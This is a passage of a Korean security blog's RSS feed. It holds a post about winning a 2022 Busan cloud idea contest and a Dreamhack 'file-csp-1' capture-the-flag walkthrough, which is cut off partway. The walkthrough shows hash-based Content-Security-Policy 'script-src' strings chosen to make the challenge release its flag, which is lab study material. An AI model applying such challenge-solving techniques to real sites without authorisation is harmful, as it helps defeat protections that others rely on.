<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>SlowTurtle</title>
    <link>https://godturtle.tistory.com/</link>
    <description>IT/보안</description>
    <language>ko</language>
    <pubDate>Thu, 9 Apr 2026 08:50:31 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>SlowTurtle_</managingEditor>
    <item>
      <title>2022 클라우드 아이디어 공모전 후기</title>
      <link>https://godturtle.tistory.com/90</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 1.16279%;&quot; colspan=&quot;10&quot;&gt;공모전 : &lt;a href=&quot;http://www.busanit.or.kr/board/view.asp?bidx=13463&amp;amp;bcode=notice&amp;amp;ipage=1&amp;amp;sword=&amp;amp;search_txt=&quot;&gt;http://www.busanit.or.kr/board/view.asp?bidx=13463&amp;amp;bcode=notice&amp;amp;ipage=1&amp;amp;sword=&amp;amp;search_txt=&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;888&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjVDhO/btrXo4YnMbi/Zwq76sLitBhFsQqRNqksmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjVDhO/btrXo4YnMbi/Zwq76sLitBhFsQqRNqksmk/img.png&quot; data-alt=&quot;http://busanit.or.kr/uploads/EditorIMG/20220927090450.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjVDhO/btrXo4YnMbi/Zwq76sLitBhFsQqRNqksmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjVDhO%2FbtrXo4YnMbi%2FZwq76sLitBhFsQqRNqksmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;888&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;888&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;http://busanit.or.kr/uploads/EditorIMG/20220927090450.jpg&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부산광역시에서 주최하고 (재)부산정보산업진흥원, 더존비즈온, 카카오엔터프라이즈에서 공동으로 주관한 클라우드 아이디어 공모전에 참여했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;  지원 배경&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;금융권에 관심이 있었고 코로나 시대에서 중요성이 높아졌던 클라우드에 눈길이 갔었다. 꼭 공부해보고싶은 분야였는데 사회복무요원과 알바, 자격증까지 챙기느라 점점 미뤄만 왔었는데 우연히 공모전을 보고 도전을 해봐야겠다는 생각이 들었다. 목표가 생겼으니 한 번 도전해보자. 라는 생각으로 신청했다. &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;  과정&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;앞서 말했듯이 하는 것이 너무 많아 공모전에 쓸 시간이 그렇게 여유롭지는 못했다. 최대한을 끌어올리기 위해서 운동을 끊고 잠을 줄였다. 아이디어 선정에 따라 달라질 수 있기에 여러가지 아이디어 중 한 가지를 선정하여 진행했다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공모전 신청서 및 제안서는 아이디어 제안 배경, 필요성, 목적을 기재하였고 세부 제안 아이디어에 대한 내용과 최종 산출 예상 결과를 작성하였다. 클라우드 아키텍처 구성도를 제작하여 제안서를 작성하였고 아이디어를 구현한 산출물의 특징과 구현 계획, 서비스 구현 과정에서 발생할&amp;nbsp; 수 있는 장애 요소 및 해결방안, 산출물의 기대효과를 제시하여 제출하였다.&lt;/span&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8VXLA/btrXonKEJfI/kCqjhghpZPDmfXhlxHyUSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8VXLA/btrXonKEJfI/kCqjhghpZPDmfXhlxHyUSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8VXLA/btrXonKEJfI/kCqjhghpZPDmfXhlxHyUSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8VXLA%2FbtrXonKEJfI%2FkCqjhghpZPDmfXhlxHyUSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;715&quot; height=&quot;342&quot; data-origin-width=&quot;715&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드를 공부하면서 아키텍처를 직접 설계해보았다. 아직 부족한 실력이라 고민도 많이하고 팀원들과 상의도 하며 설계한 아키텍처라서 기억에 잘 남는 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt; &amp;nbsp; 1차 서류 ! 합 격 !&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mjbmT/btrXrM3Z12P/9b4XFV7gX4IGpMpKkNFUo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mjbmT/btrXrM3Z12P/9b4XFV7gX4IGpMpKkNFUo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mjbmT/btrXrM3Z12P/9b4XFV7gX4IGpMpKkNFUo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmjbmT%2FbtrXrM3Z12P%2F9b4XFV7gX4IGpMpKkNFUo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;692&quot; height=&quot;439&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnQ2zm/btrXpbb8BEm/CABRlctIXB2woDKTnFBCBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnQ2zm/btrXpbb8BEm/CABRlctIXB2woDKTnFBCBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnQ2zm/btrXpbb8BEm/CABRlctIXB2woDKTnFBCBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnQ2zm%2FbtrXpbb8BEm%2FCABRlctIXB2woDKTnFBCBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;196&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;196&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지원했을 때는 클라우드에 대해 공부하는 좋은 경험만 쌓자. 이었는데 막상 1차 서류심사 결과일정이 되니 긴장이 됐다. 기간이 지났는데 나오지 않아서 떨어졌나보다하고 아쉬워하고 있었는데, 팀원에게 ?? 우리 1차 서류 합격했는데?? 라고 연락이 왔다... 기뻤다 매우 기뻐서 말로 표현이 안됐다. 발표가 바로 다음주라서 어서 발표 ppt를 제작하고 준비를 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;  발 표 심 사&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2차 발표심사는 줌으로 진행됐다. 12팀의 발표를 하루에 끝내려다보니 시간제한 10분이 있었다. 발표를 진행하는 중 2분 남았다는 멘트에 발표속도가 올라갔고 마지막인 기대효과까지 말하며 끝이 났다. Q&amp;amp;A 시간 때 심사위원님께서 아이디어가 신박하다고 칭찬해주셔서 오? 잘하면 수상까지.. 갈 수도..? 라는 기대를 하며 팀원들과 고생많았다고 웃으며 대화했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;  최우수상 수상 !&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표심사를 받은 12팀 중 수상팀은 8팀이라 장려상까진 어떻게 해볼 수 있겠는데!! 라며 팀원들이랑 얘기했는데, 꿈이 좋았다. 나만 좋았던 것이 아니라 팀원 또한 꿈이 좋아서 이거 진짜 일낼수도..? 하며 기대에 부풀어 기다렸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLP87G/btrXnj3mybO/bhAId7KFOyKSJMVugOzBHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLP87G/btrXnj3mybO/bhAId7KFOyKSJMVugOzBHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLP87G/btrXnj3mybO/bhAId7KFOyKSJMVugOzBHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLP87G%2FbtrXnj3mybO%2FbhAId7KFOyKSJMVugOzBHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;757&quot; height=&quot;434&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;???&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최우수상을 받았다. 열심히 최선을 다해 진행했지만 이렇게 큰 상은 생각하지 못하고 지원했던 것이기에 기쁨은 배가 된 것 같다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;609&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ArS0m/btrXm6wlPws/lTJcN6fO4tsQceKrqbkWh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ArS0m/btrXm6wlPws/lTJcN6fO4tsQceKrqbkWh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ArS0m/btrXm6wlPws/lTJcN6fO4tsQceKrqbkWh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FArS0m%2FbtrXm6wlPws%2FlTJcN6fO4tsQceKrqbkWh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;354&quot; data-origin-width=&quot;609&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짧은 기간동안 함께 우리 팀장님, 팀원 너무 고생많았다!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좋은 목표가 된 공모전이 좋은 결과까지 맺게 되어 감사했고 다음번에 또 다른 공모전을 목표로 더 도전하고 나아가는 계기와 경험이 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Don't stop !!!&lt;/p&gt;</description>
      <category>대외활동/공모전</category>
      <category>2022 클라우드 아이디어 공모전</category>
      <category>공모전</category>
      <category>더존비즈온</category>
      <category>부산광역시</category>
      <category>부산정보산업진흥원</category>
      <category>카카오엔터프라이즈</category>
      <category>클라우드</category>
      <category>클라우드 공모전</category>
      <category>클라우드 아이디어</category>
      <category>클라우드 아이디어 공모전</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/90</guid>
      <comments>https://godturtle.tistory.com/90#entry90comment</comments>
      <pubDate>Sat, 28 Jan 2023 14:43:09 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] file-csp-1</title>
      <link>https://godturtle.tistory.com/89</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[Dreamhack]&amp;nbsp;file-csp-1&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUs7ud/btrXmcKetpj/LwbkyqEGFR4pCrUTk8CZp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUs7ud/btrXmcKetpj/LwbkyqEGFR4pCrUTk8CZp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUs7ud/btrXmcKetpj/LwbkyqEGFR4pCrUTk8CZp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUs7ud%2FbtrXmcKetpj%2FLwbkyqEGFR4pCrUTk8CZp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;395&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스를 을 때 &lt;span&gt;결론적으로 보면 &lt;/span&gt;&lt;span&gt;a== &amp;lsquo;error&amp;rsquo; and b == &amp;lsquo;error&amp;rsquo; and c == &amp;lsquo;c&amp;rsquo; and d != &amp;lsquo;error&amp;rsquo;&lt;/span&gt;&lt;span&gt;가 되면 &lt;/span&gt;&lt;span&gt;FALG&lt;/span&gt;&lt;span&gt;를 얻을 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;299&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U3G12/btrXm78WRes/Ym2rUjGibeqMirOut1LJrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U3G12/btrXm78WRes/Ym2rUjGibeqMirOut1LJrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U3G12/btrXm78WRes/Ym2rUjGibeqMirOut1LJrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU3G12%2FbtrXm78WRes%2FYm2rUjGibeqMirOut1LJrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;299&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;299&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;을 보낸 뒤 소스를 보았다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;854170&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9QyGM/btrXmci8T2Q/YNyFCrB8bgNy0kjkXLIya0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9QyGM/btrXmci8T2Q/YNyFCrB8bgNy0kjkXLIya0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9QyGM/btrXmci8T2Q/YNyFCrB8bgNy0kjkXLIya0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9QyGM%2FbtrXmci8T2Q%2FYNyFCrB8bgNy0kjkXLIya0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;318&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;어떤 함수의 &lt;/span&gt;&lt;span&gt;SHA&lt;/span&gt;&lt;span&gt;값을 하나 알 수 있었다&lt;/span&gt;&lt;span&gt;. test&lt;/span&gt;&lt;span&gt;에서 초기에 &lt;/span&gt;&lt;span&gt;script-src &amp;lsquo;unsafe-inline&amp;rsquo;&lt;/span&gt;&lt;span&gt;이 적혀있는데 &lt;/span&gt;&lt;span&gt;CSP&lt;/span&gt;&lt;span&gt;를 공부했을 때 &lt;/span&gt;&lt;span&gt;script-src&lt;/span&gt;&lt;span&gt;는 스크립트 관련된 권한 집합을 제어하는 것으로 알고 있었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그리고 &lt;/span&gt;&lt;span&gt;unsafe-inline&lt;/span&gt;&lt;span&gt;은 &lt;/span&gt;&lt;span&gt;inline script&lt;/span&gt;&lt;span&gt;를 허용한다는 뜻이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그렇다면 &lt;/span&gt;&lt;span&gt;script-src&lt;/span&gt;&lt;span&gt;를 보내보았다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;179&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8GhaC/btrXnKrSd3U/PrQJd3oYMhgkxqSZaIpUPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8GhaC/btrXnKrSd3U/PrQJd3oYMhgkxqSZaIpUPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8GhaC/btrXnKrSd3U/PrQJd3oYMhgkxqSZaIpUPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8GhaC%2FbtrXnKrSd3U%2FPrQJd3oYMhgkxqSZaIpUPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;179&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;179&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;그랬더니 아무것도 출력되지 않았고 콘솔에서 위 사진을 볼 수 있었다&lt;/span&gt;&lt;span&gt;. 4&lt;/span&gt;&lt;span&gt;개 함수의 &lt;/span&gt;&lt;span&gt;SHA &lt;/span&gt;&lt;span&gt;값인데 뭐가 무엇인지 아직 모른다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그중 하나는 바로 위에서 확인했던 &lt;/span&gt;&lt;span&gt;integrity&lt;/span&gt;&lt;span&gt;에서 확인한 &lt;/span&gt;&lt;span&gt;SHA &lt;/span&gt;&lt;span&gt;값과 같기에 사용했다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;확인을 위해 하나씩 보내봤다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1674807773206&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;script-src 'sha256-P9oV1Sc7O1Di7wEu1Q0fc9Jb2+DopNb6840c7E5XuNY='
script-src 'sha256-Pl2V1+QPNtARvuHPfLjHPFJ5rA0Ky2MhOJ8KD2Y0zN8='
script-src 'sha256-pasqAKBDmFT4eHoN2ndd6lN370kFiGUFyTiUHWhU7k8='
script-src 'sha256-l1OSKODPRVBa1/91J7WfPisrJ6WCxCRnKFzXaOkpsY4=&amp;rsquo;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;268&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CGO2u/btrXl1IILWv/zlPiao5vxUxyvSs0RMrRck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CGO2u/btrXl1IILWv/zlPiao5vxUxyvSs0RMrRck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CGO2u/btrXl1IILWv/zlPiao5vxUxyvSs0RMrRck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCGO2u%2FbtrXl1IILWv%2FzlPiao5vxUxyvSs0RMrRck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;279&quot; height=&quot;115&quot; data-origin-width=&quot;268&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;276&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmTqbV/btrXm8UjJg9/KpAh6ngRrpc7EIiU8wGZCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmTqbV/btrXm8UjJg9/KpAh6ngRrpc7EIiU8wGZCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmTqbV/btrXm8UjJg9/KpAh6ngRrpc7EIiU8wGZCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmTqbV%2FbtrXm8UjJg9%2FKpAh6ngRrpc7EIiU8wGZCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;299&quot; height=&quot;118&quot; data-origin-width=&quot;276&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;우리는 &lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;와 &lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;만 &lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt;가 안 뜨면 되니 &lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;와 &lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;만 설정해준다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;hwpEditorBoardContent&quot; data-hjsonver=&quot;1.0&quot; data-jsonlen=&quot;213757&quot;&gt;
&lt;pre id=&quot;code_1674807823337&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;script-src 'sha256-pasqAKBDmFT4eHoN2ndd6lN370kFiGUFyTiUHWhU7k8=' 'sha256-l1OSKODPRVBa1/91J7WfPisrJ6WCxCRnKFzXaOkpsY4=&amp;rsquo;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;206&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1A3wn/btrXmoRbKeY/qoIk6zDnoUlLX7pP3G6IgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1A3wn/btrXmoRbKeY/qoIk6zDnoUlLX7pP3G6IgK/img.png&quot; data-alt=&quot;&amp;amp;lt;TEST&amp;amp;gt;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1A3wn/btrXmoRbKeY/qoIk6zDnoUlLX7pP3G6IgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1A3wn%2FbtrXmoRbKeY%2FqoIk6zDnoUlLX7pP3G6IgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;478&quot; height=&quot;180&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;206&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;lt;TEST&amp;gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
